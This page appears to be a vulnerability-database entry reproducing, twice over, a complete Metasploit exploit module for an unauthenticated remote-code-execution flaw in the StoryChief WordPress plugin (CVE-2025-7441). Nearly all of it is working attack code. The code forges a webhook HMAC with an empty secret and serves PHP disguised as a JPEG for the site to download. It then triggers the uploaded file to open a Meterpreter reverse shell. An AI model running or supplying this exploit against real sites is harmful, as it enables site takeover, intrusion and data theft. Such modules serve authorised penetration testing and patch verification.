9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This module exploits an unauthenticated arbitrary file upload vulnerability in the StoryChief WordPress plugin use exploit/multi/http/wppluginstorycheffileupload msf exploitwppluginstorycheffileupload show targets ...targets... msf...
Basic Information
ID
MSF:EXPLOIT-MULTI-HTTP-WP_PLUGIN_STORY_CHEF_FILE_UPLOAD-
Published
Feb 19, 2026 at 18:59
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress StoryChief Plugin Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload
vulnerability in the StoryChief WordPress plugin <= 1.0.42.
The plugin exposes a webhook endpoint at
/wp-json/storychief/webhook which accepts a forged HMAC.
Because the plugin uses an empty secret for HMAC validation,
attackers can compute a valid MAC and force WordPress to
download and store attacker-controlled PHP content inside
the uploads directory, resulting in remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'xpl0dec', # Original PoC
'Nayera' # Metasploit module
],
'References' => [
['CVE', '2025-7441'],
['EDB', '52422'],
['URL', 'https://github.com/Story-Chief/wordpress']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic Target', {}]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'WfsDelay' => 15
},
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to WordPress', '/'])
])
end
#
# Check Method
#
def check
return CheckCode::Safe('WordPress not detected') unless wordpress_and_online?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief')
)
unless res && res.code == 200
return CheckCode::Safe('StoryChief REST namespace not found')
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
'ctype' => 'application/json',
'data' => '{"meta":{"mac":"","event":"publish"},"data":{}}'
)
return CheckCode::Unknown('No response from webhook endpoint') unless res
return CheckCode::Appears('StoryChief webhook endpoint reachable and likely vulnerable') if res.code != 404
CheckCode::Safe('Webhook endpoint returned 404. The plugin may not be installed, permalinks may not be configured, or the target is not vulnerable.')
end
#
# Serve malicious PHP payload
#
def on_request_uri(cli, _req)
print_good("Serving malicious payload to #{cli.peerhost}")
php_payload = payload.encoded
send_response(
cli,
php_payload,
'Content-Type' => 'image/jpeg'
)
close_client(cli)
end
#
# Generate JSON body + HMAC
#
def generate_signed_body(remote_url)
body_hash = {
'meta' => {
'event' => 'publish'
},
'data' => {
'featured_image' => {
'data' => {
'sizes' => {
'full' => remote_url
}
}
}
}
}
json_body = JSON.generate(body_hash).gsub('/', '\\/')
signature = OpenSSL::HMAC.hexdigest('sha256', '', json_body)
body_hash['meta']['mac'] = signature
JSON.generate(body_hash)
end
#
# Attempt to trigger uploaded shell
#
def trigger_shell(filename)
now = Time.now
upload_path = normalize_uri(
target_uri.path,
'wp-content',
'uploads',
now.year.to_s,
format('%02d', now.month),
filename
)
print_status("Attempting to execute uploaded payload at #{upload_path}")
res = send_request_cgi(
'method' => 'GET',
'uri' => upload_path
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Uploaded payload did not return HTTP 200, execution likely failed')
end
end
#
# Main Exploit
#
def exploit
payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
register_file_for_cleanup(payload_name)
print_status('Starting local HTTP server for payload hosting')
start_service(
'Uri' => {
'Path' => "/#{payload_name}",
'Proc' => proc { |cli, req| on_request_uri(cli, req) }
}
)
payload_url = "#{get_uri.chomp('/')}/#{payload_name}"
print_status("Payload URL: #{payload_url}")
request_body = generate_signed_body(payload_url)
print_status('Sending malicious webhook request')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
'ctype' => 'application/json',
'data' => request_body
)
fail_with(Failure::Unreachable, 'No response from target') unless res
unless res.code == 200 && res.body.include?('permalink')
fail_with(Failure::UnexpectedReply, "Unexpected response (#{res.code})")
end
print_good('Webhook accepted payload — attempting execution')
trigger_shell(payload_name)
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress StoryChief Plugin Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload
vulnerability in the StoryChief WordPress plugin <= 1.0.42.
The plugin exposes a webhook endpoint at
/wp-json/storychief/webhook which accepts a forged HMAC.
Because the plugin uses an empty secret for HMAC validation,
attackers can compute a valid MAC and force WordPress to
download and store attacker-controlled PHP content inside
the uploads directory, resulting in remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'xpl0dec', # Original PoC
'Nayera' # Metasploit module
],
'References' => [
['CVE', '2025-7441'],
['EDB', '52422'],
['URL', 'https://github.com/Story-Chief/wordpress']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic Target', {}]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'WfsDelay' => 15
},
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to WordPress', '/'])
])
end
#
# Check Method
#
def check
return CheckCode::Safe('WordPress not detected') unless wordpress_and_online?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief')
)
unless res && res.code == 200
return CheckCode::Safe('StoryChief REST namespace not found')
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
'ctype' => 'application/json',
'data' => '{"meta":{"mac":"","event":"publish"},"data":{}}'
)
return CheckCode::Unknown('No response from webhook endpoint') unless res
return CheckCode::Appears('StoryChief webhook endpoint reachable and likely vulnerable') if res.code != 404
CheckCode::Safe('Webhook endpoint returned 404. The plugin may not be installed, permalinks may not be configured, or the target is not vulnerable.')
end
#
# Serve malicious PHP payload
#
def on_request_uri(cli, _req)
print_good("Serving malicious payload to #{cli.peerhost}")
php_payload = payload.encoded
send_response(
cli,
php_payload,
'Content-Type' => 'image/jpeg'
)
close_client(cli)
end
#
# Generate JSON body + HMAC
#
def generate_signed_body(remote_url)
body_hash = {
'meta' => {
'event' => 'publish'
},
'data' => {
'featured_image' => {
'data' => {
'sizes' => {
'full' => remote_url
}
}
}
}
}
json_body = JSON.generate(body_hash).gsub('/', '\\/')
signature = OpenSSL::HMAC.hexdigest('sha256', '', json_body)
body_hash['meta']['mac'] = signature
JSON.generate(body_hash)
end
#
# Attempt to trigger uploaded shell
#
def trigger_shell(filename)
now = Time.now
upload_path = normalize_uri(
target_uri.path,
'wp-content',
'uploads',
now.year.to_s,
format('%02d', now.month),
filename
)
print_status("Attempting to execute uploaded payload at #{upload_path}")
res = send_request_cgi(
'method' => 'GET',
'uri' => upload_path
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Uploaded payload did not return HTTP 200, execution likely failed')
end
end
#
# Main Exploit
#
def exploit
payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
register_file_for_cleanup(payload_name)
print_status('Starting local HTTP server for payload hosting')
start_service(
'Uri' => {
'Path' => "/#{payload_name}",
'Proc' => proc { |cli, req| on_request_uri(cli, req) }
}
)
payload_url = "#{get_uri.chomp('/')}/#{payload_name}"
print_status("Payload URL: #{payload_url}")
request_body = generate_signed_body(payload_url)
print_status('Sending malicious webhook request')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
'ctype' => 'application/json',
'data' => request_body
)
fail_with(Failure::Unreachable, 'No response from target') unless res
unless res.code == 200 && res.body.include?('permalink')
fail_with(Failure::UnexpectedReply, "Unexpected response (#{res.code})")
end
print_good('Webhook accepted payload — attempting execution')
trigger_shell(payload_name)
end
end